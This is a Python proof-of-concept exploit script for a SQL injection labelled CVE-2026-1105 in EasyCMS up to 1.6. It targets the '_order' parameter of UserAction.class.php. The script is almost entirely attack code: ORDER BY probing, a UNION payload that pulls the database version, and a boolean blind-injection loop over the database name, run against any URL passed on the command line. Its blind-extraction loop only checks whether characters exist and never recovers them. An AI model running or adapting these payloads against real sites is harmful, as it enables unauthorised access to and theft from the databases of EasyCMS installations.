CVE-2026-1105 EasyCMS UserAction.class.php SQL注入漏洞

# CVE-2026-1105 SQL Injection PoC for EasyCMS # Target: EasyCMS <= 1.6 # File: /UserAction.class.php # Parameter: _order import requests import sys def test_sqli(url, payload): """Test SQL injection vulnerability""" target_url = f"{url}/UserAction.class.php" params = { '_order': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def extract_db_version(url): """Extract database version using UNION-based injection""" payload = "1 ORDER BY 1,2,3,4,5,6,7,8-- -" print(f"[*] Testing basic ORDER BY injection...") test_sqli(url, payload) # UNION injection to get database version union_payload = "-1 UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL-- -" print(f"[*] Extracting database version...") result = test_sqli(url, union_payload) if result: print(f"[+] Database info extracted: {result}") return result def blind_sqli(url): """Boolean-based blind SQL injection""" true_payload = "1 AND 1=1" false_payload = "1 AND 1=2" true_resp = test_sqli(url, true_payload) false_resp = test_sqli(url, false_payload) if true_resp != false_resp: print("[+] Blind SQL injection confirmed!") # Extract data bit by bit for i in range(1, 50): payload = f"1 AND ASCII(SUBSTRING((SELECT database()),{i},1))>0" if test_sqli(url, payload) == true_resp: print(f"[*] Database name character {i} exists") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-1105.py <target_url>") print("Example: python cve-2026-1105.py http://target.com") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] CVE-2026-1105 SQL Injection Test") extract_db_version(target) blind_sqli(target)